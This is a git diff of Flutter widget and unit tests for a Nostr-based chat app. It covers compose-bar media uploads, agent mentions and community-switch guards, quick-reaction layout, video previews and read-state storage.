+          relayConfig: () => _SwitchableRelayConfigNotifier(
+            RelayConfig(baseUrl: 'https://relay.example', nsec: signer.nsec),
+          ),
+          onSend: (_, _, {mediaTags = const <List<String>>[]}) async {
+            sendCount += 1;
+          },
         ),
       );
 
-      await _openSystemPhotoPicker(tester);
-      await tester.pump();
-
-      expect(
-        find.byKey(const ValueKey('compose-upload-progress')),
-        findsOneWidget,
+      final container = ProviderScope.containerOf(
+        tester.element(find.byType(ComposeBar)),
       );
-      expect(find.bySemanticsLabel('Uploading attachment…'), findsOneWidget);
-
-      uploadResponse.complete(
-        http.Response(
-          jsonEncode({
-            'url': 'https://relay.example/media/test.png',
-            'sha256':
-                '0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef',
-            'size': 16,
-            'type': 'image/png',
-            'uploaded': 1,
-          }),
-          200,
+      final session = container.read(relaySessionProvider.notifier);
+      // Switch community the moment the agent's kind:9000 add is
+      // acknowledged. That is the only window in which the guard can fire:
+      // everything before the first relay round trip runs in the same
+      // microtask as the ChannelActions read.
+      session.debugAttachSocketForTest(
+        _RecordingRelaySocket(
+          publishedEvents,
+          session.debugHandleSocketMessageForTest,
+          onEventAcknowledged: (event) {
+            if (event['kind'] != 9000) return;
+            container
+                .read(relayConfigProvider.notifier)
+                .update(baseUrl: 'https://other.example', nsec: signer.nsec);
+          },
         ),
       );
+
+      await _expandComposer(tester);
+      await tester.enterText(find.byType(TextField), '@hel');
+      await tester.pumpAndSettle();
+      await tester.tap(find.text('Helper Bot'));
+      await tester.pumpAndSettle();
+      await tester.enterText(find.byType(TextField), 'hello @Helper Bot');
+      await tester.tap(find.byIcon(LucideIcons.arrowUp));
       await tester.pumpAndSettle();
 
+      // The cancelled send must not reach the relay.
+      expect(sendCount, 0);
+      // The escaped StateError itself is pinned by flutter_test's own
+      // unhandled-exception reporting, which fails this test if the error
+      // is not caught. Deliberately no `takeException()` row: the framework
+      // has already consumed the error by this point, so such a row reads
+      // null whether or not the error escaped, and would never fail.
+      //
+      // What needs pinning is the user-visible half. The composer's own
+      // error line cannot carry it, because the same identity change resets
+      // that state on the very next frame, so the surface must outlive the
+      // switch.
       expect(
-        find.byKey(const ValueKey('compose-upload-progress')),
-        findsNothing,
+        find.widgetWithText(
+          SnackBar,
+          'Message not sent: the community changed',
+        ),
+        findsOneWidget,
+      );
+      // Characterization, not a fix: the unsent text is already retained in
+      // the originating community's own draft store (the send path never
+      // reaches `clearComposer`, and the persist listener wrote it while
+      // typing), so it is waiting when the user switches back. This row
+      // holds without the catch above and exists to keep it that way.
+      final storedDrafts = _testPrefs.getString(
+        'compose_drafts_v1:https://relay.example:${signer.public}',
+      );
+      expect(storedDrafts, isNotNull);
+      expect(
+        (jsonDecode(storedDrafts!) as List)
+            .map((d) => (d as Map<String, dynamic>)['text'])
+            .toList(),
+        contains('hello @Helper Bot'),
       );
     });
 
+    testWidgets(
+      'stale channel actions cannot invite after a community switch',
+      (tester) async {
+        final signer = nostr.Keys.generate();
+        final publishedEvents = <Map<String, dynamic>>[];
+        await tester.pumpWidget(
+          _buildComposeBar(
+            uploadService: _testUploadService(signer.nsec),
+            currentPubkey: signer.public,
+            relayConfig: () => _SwitchableRelayConfigNotifier(
+              RelayConfig(baseUrl: 'https://relay.example', nsec: signer.nsec),
+            ),
+            onSend: (_, _, {mediaTags = const <List<String>>[]}) async {},
+          ),
+        );
+
+        final container = ProviderScope.containerOf(
+          tester.element(find.byType(ComposeBar)),
+        );
+        final session = container.read(relaySessionProvider.notifier);
+        session.debugAttachSocketForTest(
+          _RecordingRelaySocket(
+            publishedEvents,
+            session.debugHandleSocketMessageForTest,
+          ),
+        );
+        final staleActions = container.read(channelActionsProvider);
+
+        container
+            .read(relayConfigProvider.notifier)
+            .update(baseUrl: 'https://other-community.example', nsec: null);
+        await tester.pump();
+
+        await expectLater(
+          staleActions.addMembers(
+            channelId: 'channel-1',
+            pubkeys: ['c' * 64],
+            role: 'bot',
+          ),
+          throwsA(isA<StateError>()),
+        );
+        expect(publishedEvents, isEmpty);
+      },
+    );
+
+    testWidgets(
+      'does not add a mentioned non-member when media upload is cancelled',
+      (tester) async {
+        final agentPubkey = 'c' * 64;
+        final signer = nostr.Keys.generate();
+        final publishedEvents = <Map<String, dynamic>>[];
+        final uploadResponse = Completer<http.Response>();
+        final uploadService = MediaUploadService(
+          baseUrl: 'https://relay.example',
+          nsec: signer.nsec,
+          httpClient: http_testing.MockClient(
+            (request) => uploadResponse.future,
+          ),
+          pickGalleryVideo: () async => null,
+          pickGalleryImage: () async => null,
+          pickGalleryImages: () async => [
+            XFile.fromData(_pngBytes, name: 'tiny.png'),
+          ],
+        );
+
+        await tester.pumpWidget(
+          _buildComposeBar(
+            uploadService: uploadService,
+            currentPubkey: signer.public,
+            relayAgents: [_testAgent(agentPubkey)],
+            channels: [_makeCurrentChannel(), _makeSharedMemberChannel()],
+            onSend: (_, _, {mediaTags = const <List<String>>[]}) async {},
+          ),
+        );
+
+        final container = ProviderScope.containerOf(
+          tester.element(find.byType(ComposeBar)),
+        );
+        final session = container.read(relaySessionProvider.notifier);
+        final socket = _RecordingRelaySocket(
+          publishedEvents,
+          session.debugHandleSocketMessageForTest,
+        );
+        session.debugAttachSocketForTest(socket);
+
+        await _openSystemPhotoPicker(tester);
+        await tester.pumpAndSettle();
+        await _expandComposer(tester);
+        await tester.enterText(find.byType(TextField), '@hel');
+        await tester.pumpAndSettle();
+        await tester.tap(find.text('Helper Bot'));
+        await tester.pumpAndSettle();
+        await tester.enterText(find.byType(TextField), 'hello @Helper Bot');
+        await tester.tap(find.byIcon(LucideIcons.arrowUp));
+        await tester.pump();
+
+        expect(
+          publishedEvents.where((event) => event['kind'] == 9000),
+          isEmpty,
+        );
+
+        await tester.pump(const Duration(milliseconds: 220));
+        await tester.tap(find.byKey(const ValueKey('compose-upload-cancel')));
+        uploadResponse.complete(
+          http.Response(
+            jsonEncode({
+              'url': 'https://relay.example/media/test.png',
+              'sha256':
+                  '0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef',
+              'size': 16,
+              'type': 'image/png',
+              'uploaded': 1,
+            }),
+            200,
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        expect(
+          publishedEvents.where((event) => event['kind'] == 9000),
+          isEmpty,
+        );
+      },
+    );
+
     testWidgets('renders markdown formatting without visible delimiters', (
       tester,
     ) async {
@@ -1672,21 +2362,20 @@ void main() {
       await tester.pumpAndSettle();
 
       expect(galleryPickerCalled, isFalse);
-      expect(uploadedBytes, _pngBytes);
-      expect(uploadedMimeType, 'image/png');
+      expect(uploadedBytes, isNull);
+      expect(find.byTooltip('Remove attachment'), findsOneWidget);
       expect(
-        find.byKey(
-          const ValueKey(
-            'compose-attachment:https://relay.example/media/pasted.png',
-          ),
+        find.byWidgetPredicate(
+          (widget) => widget is Image && widget.image is MemoryImage,
         ),
         findsOneWidget,
       );
-      expect(find.byTooltip('Remove attachment'), findsOneWidget);
 
       await tester.tap(find.byIcon(LucideIcons.arrowUp));
       await tester.pumpAndSettle();
 
+      expect(uploadedBytes, _pngBytes);
+      expect(uploadedMimeType, 'image/png');
       expect(sentContent, '\n![image](https://relay.example/media/pasted.png)');
       expect(sentMediaTags, hasLength(1));
       expect(
@@ -1755,14 +2444,7 @@ void main() {
         pasteImage.onPressed();
         await tester.pumpAndSettle();
 
-        expect(
-          find.byKey(
-            const ValueKey(
-              'compose-attachment:https://relay.example/media/ios-native-paste.png',
-            ),
-          ),
-          findsOneWidget,
-        );
+        expect(find.byTooltip('Remove attachment'), findsOneWidget);
       } finally {
         debugDefaultTargetPlatformOverride = previousPlatform;
       }
@@ -1884,14 +2566,7 @@ void main() {
         pasteImage.onPressed!();
         await tester.pumpAndSettle();
 
-        expect(
-          find.byKey(
-            const ValueKey(
-              'compose-attachment:https://relay.example/media/ios-paste.png',
-            ),
-          ),
-          findsOneWidget,
-        );
+        expect(find.byTooltip('Remove attachment'), findsOneWidget);
       } finally {
         debugDefaultTargetPlatformOverride = previousPlatform;
       }
@@ -2060,18 +2735,20 @@ void main() {
       await _openSystemPhotoPicker(tester);
       await tester.pumpAndSettle();
 
-      final attachmentFinder = find.byKey(
-        const ValueKey(
-          'compose-attachment:https://relay.example/media/test.png',
-        ),
-      );
       final removeButtonFinder = find.byTooltip('Remove attachment');
 
-      expect(attachmentFinder, findsOneWidget);
       expect(removeButtonFinder, findsOneWidget);
 
-      final attachmentTopRight = tester.getTopRight(attachmentFinder);
-      final attachmentTopLeft = tester.getTopLeft(attachmentFinder);
+      final attachmentTopRight = tester.getTopRight(
+        find
+            .ancestor(of: removeButtonFinder, matching: find.byType(Container))
+            .first,
+      );
+      final attachmentTopLeft = tester.getTopLeft(
+        find
+            .ancestor(of: removeButtonFinder, matching: find.byType(Container))
+            .first,
+      );
       final removeButtonCenter = tester.getCenter(removeButtonFinder);
 
       expect(
@@ -2114,8 +2791,14 @@ void main() {
 
       await _openSystemPhotoPicker(tester);
       await tester.pumpAndSettle();
+      await _expandComposer(tester);
+      await tester.enterText(find.byType(TextField), 'Keep this draft');
+      await tester.tap(find.byIcon(LucideIcons.arrowUp));
+      await tester.pumpAndSettle();
 
       expect(find.textContaining('upload failed'), findsOneWidget);
+      expect(find.text('Keep this draft'), findsOneWidget);
+      expect(find.byTooltip('Remove attachment'), findsOneWidget);
     });
 
     for (final statusCode in [
@@ -2154,6 +2837,9 @@ void main() {
 
         await _openSystemPhotoPicker(tester);
         await tester.pumpAndSettle();
+        await _expandComposer(tester);
+        await tester.tap(find.byIcon(LucideIcons.arrowUp));
+        await tester.pumpAndSettle();
 
         expect(
           find.text("We couldn't prepare this image for upload."),
@@ -2203,14 +2889,7 @@ void main() {
       await _openSystemPhotoPicker(tester);
       await tester.pumpAndSettle();
 
-      expect(
-        find.byKey(
-          const ValueKey(
-            'compose-attachment:https://relay.example/media/animated.gif',
-          ),
-        ),
-        findsOneWidget,
-      );
+      expect(find.byTooltip('Remove attachment'), findsOneWidget);
     });
 
     testWidgets('adds a selected non-member agent as a bot before sending', (
@@ -2459,6 +3138,81 @@ void main() {
       expect(publishedEvents.where((event) => event['kind'] == 9000), isEmpty);
     });
 
+    testWidgets(
+      'skips the agent add in a private channel when not owner/admin',
+      (tester) async {
+        final agentPubkey = 'a' * 64;
+        final signer = nostr.Keys.generate();
+        final publishedEvents = <Map<String, dynamic>>[];
+        var didSend = false;
+        List<String> sentMentionPubkeys = const <String>[];
+        List<List<String>> sentMediaTags = const <List<String>>[];
+
+        await tester.pumpWidget(
+          _buildComposeBar(
+            uploadService: _testUploadService(signer.nsec),
+            currentPubkey: signer.public,
+            // Plain member of a private channel: the relay rejects any add, so
+            // the composer must not attempt one — and must still send.
+            members: [
+              ChannelMember(
+                pubkey: signer.public,
+                role: 'member',
+                joinedAt: DateTime(2024),
+              ),
+            ],
+            relayAgents: [_testAgent(agentPubkey)],
+            channels: [
+              _makeCurrentChannel(visibility: 'private'),
+              _makeSharedMemberChannel(),
+            ],
+            onSend:
+                (
+                  content,
+                  mentionPubkeys, {
+                  mediaTags = const <List<String>>[],
+                }) async {
+                  didSend = true;
+                  sentMentionPubkeys = mentionPubkeys;
+                  sentMediaTags = mediaTags;
+                },
+          ),
+        );
+
+        final container = ProviderScope.containerOf(
+          tester.element(find.byType(ComposeBar)),
+        );
+        final session = container.read(relaySessionProvider.notifier);
+        final socket = _RecordingRelaySocket(
+          publishedEvents,
+          session.debugHandleSocketMessageForTest,
+        );
+        session.debugAttachSocketForTest(socket);
+
+        await _expandComposer(tester);
+        await tester.enterText(find.byType(TextField), '@hel');
+        await tester.pumpAndSettle();
+        await tester.tap(find.text('Helper Bot'));
+        await tester.pumpAndSettle();
+        await tester.enterText(find.byType(TextField), 'hello @Helper Bot');
+        await tester.tap(find.byIcon(LucideIcons.arrowUp));
+        await tester.pumpAndSettle();
+
+        expect(didSend, isTrue);
+        expect(
+          publishedEvents.where((event) => event['kind'] == 9000),
+          isEmpty,
+        );
+        // The un-added agent is demoted from p-tag to a reference mention.
+        expect(sentMentionPubkeys, isEmpty);
+        expect(
+          sentMediaTags,
+          contains(orderedEquals(['mention', agentPubkey])),
+        );
+        expect(find.text(privateChannelAddDeniedMessage), findsOneWidget);
+      },
+    );
+
     testWidgets('adds a sanitized animated PNG attachment', (tester) async {
       final keychain = nostr.Keys.generate();
       final nsec = keychain.nsec;
@@ -2498,95 +3252,52 @@ void main() {
       await _openSystemPhotoPicker(tester);
       await tester.pumpAndSettle();
 
-      expect(
-        find.byKey(
-          const ValueKey(
-            'compose-attachment:https://relay.example/media/animated.png',
-          ),
-        ),
-        findsOneWidget,
-      );
+      expect(find.byTooltip('Remove attachment'), findsOneWidget);
     });
 
-    // Skip: video upload relies on native platform bridging
-    // (transcodeVideoToMp4) that can't be fully mocked in widget tests.
-    testWidgets('taps Video in chooser sheet and uploads video', skip: true, (
+    testWidgets('taps Video in chooser sheet and uploads video', (
       tester,
     ) async {
-      final keychain = nostr.Keys.generate();
-      final nsec = keychain.nsec;
-
-      // Build a temp file with a valid MP4 ftyp header (isom brand).
-      final mp4Bytes = Uint8List(32);
-      mp4Bytes[3] = 32;
-      mp4Bytes[4] = 0x66; // f
-      mp4Bytes[5] = 0x74; // t
-      mp4Bytes[6] = 0x79; // y
-      mp4Bytes[7] = 0x70; // p
-      mp4Bytes[8] = 0x69; // i
-      mp4Bytes[9] = 0x73; // s
-      mp4Bytes[10] = 0x6F; // o
-      mp4Bytes[11] = 0x6D; // m
-      final tempDir = await Directory.systemTemp.createTemp('compose_video_');
-      final tempFile = File('${tempDir.path}/clip.mp4');
-      await tempFile.writeAsBytes(mp4Bytes);
-
-      try {
-        final uploadService = MediaUploadService(
-          baseUrl: 'https://relay.example',
-          nsec: nsec,
-          httpClient: http_testing.MockClient((request) async {
-            return http.Response(
-              jsonEncode({
-                'url': 'https://relay.example/media/test.mp4',
-                'sha256':
-                    '0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef',
-                'size': 1024,
-                'type': 'video/mp4',
-                'uploaded': 1,
-              }),
-              200,
-            );
-          }),
-          pickGalleryVideo: () async => XFile(tempFile.path),
-          pickGalleryImage: () async => null,
-        );
+      final pickedVideo = XFile.fromData(
+        Uint8List.fromList([0, 1, 2, 3]),
+        mimeType: 'video/mp4',
+        name: 'clip.mp4',
+      );
+      final uploadService = _FakeVideoUploadService(pickedVideo);
 
-        String? sentContent;
-        await tester.pumpWidget(
-          _buildComposeBar(
-            uploadService: uploadService,
-            onSend:
-                (
-                  content,
-                  mentionPubkeys, {
-                  mediaTags = const <List<String>>[],
-                }) async {
-                  sentContent = content;
-                },
-          ),
-        );
+      String? sentContent;
+      await tester.pumpWidget(
+        _buildComposeBar(
+          uploadService: uploadService,
+          onSend:
+              (
+                content,
+                mentionPubkeys, {
+                mediaTags = const <List<String>>[],
+              }) async {
+                sentContent = content;
+              },
+        ),
+      );
 
-        await _openAttachmentMenu(tester);
-        await tester.tap(find.text('Video'));
-        // Pump enough frames for the async file read + upload to complete.
-        // Can't use pumpAndSettle here — the upload spinner's animation
-        // prevents settling while the async upload is in-flight.
-        for (var i = 0; i < 10; i++) {
-          await tester.pump(const Duration(milliseconds: 100));
-        }
+      await _openAttachmentMenu(tester);
+      await tester.tap(find.text('Video'));
+      await tester.pumpAndSettle();
 
-        // Video attachment should show a video icon (not a broken image).
-        expect(find.byIcon(LucideIcons.video), findsOneWidget);
+      expect(find.byIcon(LucideIcons.video), findsOneWidget);
 
-        await tester.tap(find.byIcon(LucideIcons.arrowUp));
-        await tester.pump();
-        await tester.pumpAndSettle();
+      final sendButton = find
+          .ancestor(
+            of: find.byIcon(LucideIcons.arrowUp),
+            matching: find.byType(IconButton),
+          )
+          .hitTestable();
+      expect(sendButton, findsOneWidget);
+      await tester.tap(sendButton);
+      await tester.pumpAndSettle();
 
-        expect(sentContent, '\n![video](https://relay.example/media/test.mp4)');
-      } finally {
-        await tempDir.delete(recursive: true);
-      }
+      expect(uploadService.uploadedVideo, same(pickedVideo));
+      expect(sentContent, '\n![video](https://relay.example/media/test.mp4)');
     });
   });
 
@@ -2853,12 +3564,15 @@ List<({String text, TextStyle style})> _flattenStyledTextSpans(
   return result;
 }
 
-Channel _makeCurrentChannel({String channelType = 'stream'}) {
+Channel _makeCurrentChannel({
+  String channelType = 'stream',
+  String visibility = 'open',
+}) {
   return Channel(
     id: 'channel-1',
     name: 'current',
     channelType: channelType,
-    visibility: 'open',
+    visibility: visibility,
     description: '',
     createdBy: 'pubkey123',
     createdAt: DateTime(2024),
diff --git a/mobile/test/features/channels/emoji_picker_test.dart b/mobile/test/features/channels/emoji_picker_test.dart
index 1fc56f7317..bf8086da4c 100644
--- a/mobile/test/features/channels/emoji_picker_test.dart
+++ b/mobile/test/features/channels/emoji_picker_test.dart
@@ -409,8 +409,8 @@ void main() {
       final row = quickReactionEmoji(entries, customShortcodes: const {});
 
       expect(row.first, '\u{1F525}');
-      expect(row, hasLength(4));
-      expect(row, containsAll(defaultQuickEmojis.take(3)));
+      expect(row, hasLength(5));
+      expect(row, containsAll(defaultQuickEmojis.take(4)));
     });
 
     test('drops custom emoji no longer in the palette', () {
diff --git a/mobile/test/features/channels/message_actions_test.dart b/mobile/test/features/channels/message_actions_test.dart
index 03d7951b05..1c665efcb5 100644
--- a/mobile/test/features/channels/message_actions_test.dart
+++ b/mobile/test/features/channels/message_actions_test.dart
@@ -1,5 +1,5 @@
 import 'package:buzz/features/channels/message_actions.dart';
-import 'package:buzz/features/channels/read_state/read_state_provider.dart';
+import 'package:buzz/shared/read_state/read_state_provider.dart';
 import 'package:buzz/features/channels/thread_follows/thread_follows_provider.dart';
 import 'package:buzz/features/channels/timeline_message.dart';
 import 'package:buzz/shared/reminders/reminder_service.dart';
@@ -196,6 +196,22 @@ void main() {
       expect(find.text('Remind me'), findsNothing);
       expect(find.text('Edit message'), findsNothing);
       expect(find.text('Delete message'), findsNothing);
+      expect(find.byTooltip('Close sheet'), findsNothing);
+      expect(find.byKey(const ValueKey('quick-reaction-more')), findsOneWidget);
+      expect(
+        find.byWidgetPredicate(
+          (widget) =>
+              widget.key is ValueKey<String> &&
+              (widget.key! as ValueKey<String>).value.startsWith(
+                'quick-reaction-',
+              ),
+        ),
+        findsNWidgets(6),
+      );
+      expect(
+        tester.getSize(find.byKey(const ValueKey('quick-reaction-\u{1F44D}'))),
+        const Size.square(52),
+      );
     });
 
     testWidgets('promotes Reply, Copy link, and Remind me to the fast-actions '
@@ -227,6 +243,47 @@ void main() {
       expect(find.text('Follow thread'), findsNothing);
       expect(find.text('Reply'), findsNothing);
       expect(find.text('Remind me'), findsNothing);
+      expect(find.byTooltip('Close sheet'), findsNothing);
+      expect(
+        find.byWidgetPredicate(
+          (widget) =>
+              widget.key is ValueKey<String> &&
+              (widget.key! as ValueKey<String>).value.startsWith(
+                'quick-reaction-',
+              ),
+        ),
+        findsNWidgets(6),
+      );
+    });
+
+    testWidgets('keeps six reaction targets within a narrow phone', (
+      tester,
+    ) async {
+      tester.view.physicalSize = const Size(375, 800);
+      tester.view.devicePixelRatio = 1;
+      addTearDown(tester.view.resetPhysicalSize);
+      addTearDown(tester.view.resetDevicePixelRatio);
+      final prefs = await _mockPrefs();
+
+      await _pumpSheet(tester, message: _message(), prefs: prefs);
+
+      expect(
+        find.byWidgetPredicate(
+          (widget) =>
+              widget.key is ValueKey<String> &&
+              (widget.key! as ValueKey<String>).value.startsWith(
+                'quick-reaction-',
+              ),
+        ),
+        findsNWidgets(6),
+      );
+      expect(
+        tester
+            .getSize(find.byKey(const ValueKey('quick-reaction-\u{1F44D}')))
+            .width,
+        inInclusiveRange(44, 52),
+      );
+      expect(tester.takeException(), isNull);
     });
 
     testWidgets('shows Edit/Delete only with manage rights', (tester) async {
diff --git a/mobile/test/features/channels/message_content_test.dart b/mobile/test/features/channels/message_content_test.dart
index 9d8adb69bc..0d904960c2 100644
--- a/mobile/test/features/channels/message_content_test.dart
+++ b/mobile/test/features/channels/message_content_test.dart
@@ -1,5 +1,6 @@
 import 'package:flutter/material.dart';
 import 'package:flutter_test/flutter_test.dart';
+import 'package:gpt_markdown/gpt_markdown.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 import 'package:hooks_riverpod/misc.dart';
 import 'package:lucide_icons_flutter/lucide_icons.dart';
@@ -14,9 +15,15 @@ Widget _testable(
   Widget child, {
   List<Override> overrides = const [],
   bool disableAnimations = false,
+  VideoPreviewFrameLoader? videoPreviewFrameLoader,
 }) {
   return ProviderScope(
-    overrides: overrides,
+    overrides: [
+      videoPreviewFrameLoaderProvider.overrideWithValue(
+        videoPreviewFrameLoader ?? (_) async => null,
+      ),
+      ...overrides,
+    ],
     child: MaterialApp(
       theme: AppTheme.light(),
       home: Builder(
@@ -149,6 +156,24 @@ bool _spanHasStyle(
 
 void main() {
   group('MessageContent', () {
+    testWidgets('forwards text alignment to markdown rendering', (
+      tester,
+    ) async {
+      await tester.pumpWidget(
+        _testable(
+          const MessageContent(
+            content: 'Centered status',
+            textAlign: TextAlign.center,
+          ),
+        ),
+      );
+
+      expect(
+        tester.widget<GptMarkdown>(find.byType(GptMarkdown)).textAlign,
+        TextAlign.center,
+      );
+    });
+
     testWidgets('opens local file links through an authenticated download', (
       tester,
     ) async {
@@ -1075,6 +1100,52 @@ Photos
         expect(find.byIcon(LucideIcons.play), findsOneWidget);
       });
 
+      testWidgets('derives a first frame for a posterless video event', (
+        tester,
+      ) async {
+        const videoUrl = 'https://example.com/media/legacy-video.mp4';
+        var disposed = false;
+
+        await tester.pumpWidget(
+          _testable(
+            const MessageContent(
+              content: '![video]($videoUrl)',
+              tags: [
+                ['imeta', 'url $videoUrl', 'm video/mp4', 'dim 1080x1920'],
+              ],
+            ),
+            videoPreviewFrameLoader: (url) async {
+              expect(url, videoUrl);
+              return LoadedVideoPreviewFrame(
+                aspectRatio: 9 / 16,
+                child: const ColoredBox(
+                  key: ValueKey('derived-video-frame'),
+                  color: Colors.blue,
+                ),
+                dispose: () async => disposed = true,
+              );
+            },
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        expect(
+          find.byKey(
+            const ValueKey('message-media-video-first-frame:$videoUrl'),
+          ),
+          findsOneWidget,
+        );
+        expect(
+          find.byKey(const ValueKey('derived-video-frame')),
+          findsOneWidget,
+        );
+        expect(find.text('Video attachment'), findsNothing);
+
+        await tester.pumpWidget(const SizedBox.shrink());
+        await tester.pump();
+        expect(disposed, isTrue);
+      });
+
       testWidgets(
         'tapping video preview opens overlay viewer with close button',
         (tester) async {
@@ -1114,6 +1185,15 @@ Photos
           );
           expect(viewer.backgroundColor, Colors.black);
           expect(viewer.appBar, isNull);
+          expect(
+            find.descendant(
+              of: find.byKey(
+                const ValueKey('message-media-video-viewer-reply-thread'),
+              ),
+              matching: find.byType(IconButton),
+            ),
+            findsNothing,
+          );
 
           // Close button is present
           expect(
@@ -1134,6 +1214,46 @@ Photos
         },
       );
 
+      testWidgets('swiping down on the video dismisses its viewer', (
+        tester,
+      ) async {
+        await tester.pumpWidget(
+          _testable(
+            const MessageContent(
+              content: '![video](https://example.com/media/clip.mp4)',
+              tags: [
+                [
+                  'imeta',
+                  'url https://example.com/media/clip.mp4',
+                  'm video/mp4',
+                ],
+              ],
+            ),
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        await tester.tap(
+          find.byKey(
+            const ValueKey(
+              'message-media-video-preview:https://example.com/media/clip.mp4',
+            ),
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        await tester.drag(
+          find.byKey(const ValueKey('message-media-video-viewer-gesture')),
+          const Offset(0, 140),
+        );
+        await tester.pumpAndSettle();
+
+        expect(
+          find.byKey(const ValueKey('message-media-video-viewer')),
+          findsNothing,
+        );
+      });
+
       testWidgets('treats only mp4 fallback URLs as videos', (tester) async {
         await tester.pumpWidget(
           _testable(
@@ -1172,6 +1292,43 @@ Photos
           findsOneWidget,
         );
       });
+
+      testWidgets('renders an explicitly tagged non-mp4 video preview', (
+        tester,
+      ) async {
+        await tester.pumpWidget(
+          _testable(
+            const MessageContent(
+              content: '![video](https://example.com/media/clip.mov)',
+              tags: [
+                [
+                  'imeta',
+                  'url https://example.com/media/clip.mov',
+                  'm video/quicktime',
+                ],
+              ],
+            ),
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        expect(
+          find.byKey(
+            const ValueKey(
+              'message-media-video-preview:https://example.com/media/clip.mov',
+            ),
+          ),
+          findsOneWidget,
+        );
+        expect(
+          find.byKey(
+            const ValueKey(
+              'message-media-image-preview:https://example.com/media/clip.mov',
+            ),
+          ),
+          findsNothing,
+        );
+      });
     });
 
     group('blockquotes', () {
diff --git a/mobile/test/features/channels/message_media_test.dart b/mobile/test/features/channels/message_media_test.dart
index b5ddf0ee7d..8e61a71dd1 100644
--- a/mobile/test/features/channels/message_media_test.dart
+++ b/mobile/test/features/channels/message_media_test.dart
@@ -12,7 +12,7 @@ void main() {
       expect(classifyMediaUrl('https://example.com/media/clip.webm'), isNull);
     });
 
-    test('does not treat non-mp4 video mimetypes as video UI', () {
+    test('uses explicit video mimetypes for the video UI', () {
       expect(
         classifyMediaUrl(
           'https://example.com/media/clip.mov',
@@ -21,7 +21,7 @@ void main() {
             mimeType: 'video/quicktime',
           ),
         ),
-        isNull,
+        MessageMediaKind.video,
       );
       expect(
         classifyMediaUrl(
diff --git a/mobile/test/features/channels/read_state/message_read_state_test.dart b/mobile/test/features/channels/read_state/message_read_state_test.dart
index 97d1317ac7..0415546a76 100644
--- a/mobile/test/features/channels/read_state/message_read_state_test.dart
+++ b/mobile/test/features/channels/read_state/message_read_state_test.dart
@@ -1,5 +1,5 @@
-import 'package:buzz/features/channels/read_state/message_read_state.dart';
-import 'package:buzz/features/channels/read_state/read_state_provider.dart';
+import 'package:buzz/shared/read_state/message_read_state.dart';
+import 'package:buzz/shared/read_state/read_state_provider.dart';
 import 'package:flutter_test/flutter_test.dart';
 
 ReadStateState _state(
diff --git a/mobile/test/features/channels/read_state/read_state_format_test.dart b/mobile/test/features/channels/read_state/read_state_format_test.dart
index d8aa65739e..57aa10d4ca 100644
--- a/mobile/test/features/channels/read_state/read_state_format_test.dart
+++ b/mobile/test/features/channels/read_state/read_state_format_test.dart
@@ -1,7 +1,7 @@
 import 'dart:convert';
 
 import 'package:flutter_test/flutter_test.dart';
-import 'package:buzz/features/channels/read_state/read_state_format.dart';
+import 'package:buzz/shared/read_state/read_state_format.dart';
 import 'package:buzz/shared/relay/nostr_models.dart';
 
 void main() {
diff --git a/mobile/test/features/channels/read_state/read_state_manager_test.dart b/mobile/test/features/channels/read_state/read_state_manager_test.dart
index 953d2ff10d..f453bf5631 100644
--- a/mobile/test/features/channels/read_state/read_state_manager_test.dart
+++ b/mobile/test/features/channels/read_state/read_state_manager_test.dart
@@ -4,8 +4,8 @@ import 'dart:convert';
 import 'package:flutter_test/flutter_test.dart';
 import 'package:nostr/nostr.dart' as nostr;
 import 'package:shared_preferences/shared_preferences.dart';
-import 'package:buzz/features/channels/read_state/read_state_format.dart';
-import 'package:buzz/features/channels/read_state/read_state_manager.dart';
+import 'package:buzz/shared/read_state/read_state_format.dart';
+import 'package:buzz/shared/read_state/read_state_manager.dart';
 import 'package:buzz/shared/relay/relay.dart';
 
 void main() {
@@ -107,6 +107,41 @@ void main() {
     },
   );
 
+  test('disables remote sync after an oversized local blob', () async {
+    SharedPreferences.setMockInitialValues({});
+    final prefs = await SharedPreferences.getInstance();
+    final keychain = nostr.Keys.generate();
+    final crypto = ReadStateCrypto.tryCreate(
+      nsec: keychain.nsec,
+      pubkey: keychain.public,
+    )!;
+    final relay = _FakeSignedEventRelay();
+    final manager = ReadStateManager(
+      pubkey: keychain.public,
+      prefs: prefs,
+      crypto: crypto,
+      relaySession: null,
+      signedEventRelay: relay,
+      remoteEnabled: true,
+      onChanged: () {},
+    );
+
+    for (var index = 0; index < 1400; index++) {
+      manager.markContextRead(
+        'channel-${index.toString().padLeft(4, '0')}-${'x' * 48}',
+        index + 1,
+      );
+    }
+    await manager.flush();
+
+    manager.markContextRead('channel-new', 2000);
+    await manager.flush();
+
+    expect(relay.submitCount, 0);
+    expect(manager.getEffectiveTimestamp('channel-0000-${'x' * 48}'), 1);
+    expect(manager.getEffectiveTimestamp('channel-new'), 2000);
+  });
+
   test('remote read-state rollback is ignored', () async {
     SharedPreferences.setMockInitialValues({});
     final prefs = await SharedPreferences.getInstance();
@@ -171,6 +206,7 @@ NostrEvent _stubAckEvent() => const NostrEvent(
 
 class _FakeSignedEventRelay implements SignedEventRelay {
   final Completer<_SubmittedEvent> submitted = Completer<_SubmittedEvent>();
+  int submitCount = 0;
 
   @override
   String? get pubkey => null;
@@ -183,6 +219,7 @@ class _FakeSignedEventRelay implements SignedEventRelay {
     int? createdAt,
     void Function(NostrEvent event)? onSigned,
   }) async {
+    submitCount++;
     submitted.complete(_SubmittedEvent(kind: kind, tags: tags));
     return _stubAckEvent();
   }
diff --git a/mobile/test/features/channels/read_state/read_state_provider_test.dart b/mobile/test/features/channels/read_state/read_state_provider_test.dart
index 40cd063625..f01aa2e81e 100644
--- a/mobile/test/features/channels/read_state/read_state_provider_test.dart
+++ b/mobile/test/features/channels/read_state/read_state_provider_test.dart
@@ -1,5 +1,5 @@
-import 'package:buzz/features/channels/read_state/read_state_format.dart';
-import 'package:buzz/features/channels/read_state/read_state_provider.dart';
+import 'package:buzz/shared/read_state/read_state_format.dart';
+import 'package:buzz/shared/read_state/read_state_provider.dart';
 import 'package:buzz/shared/community/community_provider.dart';
 import 'package:buzz/shared/relay/relay.dart';
 import 'package:buzz/shared/theme/theme_provider.dart';
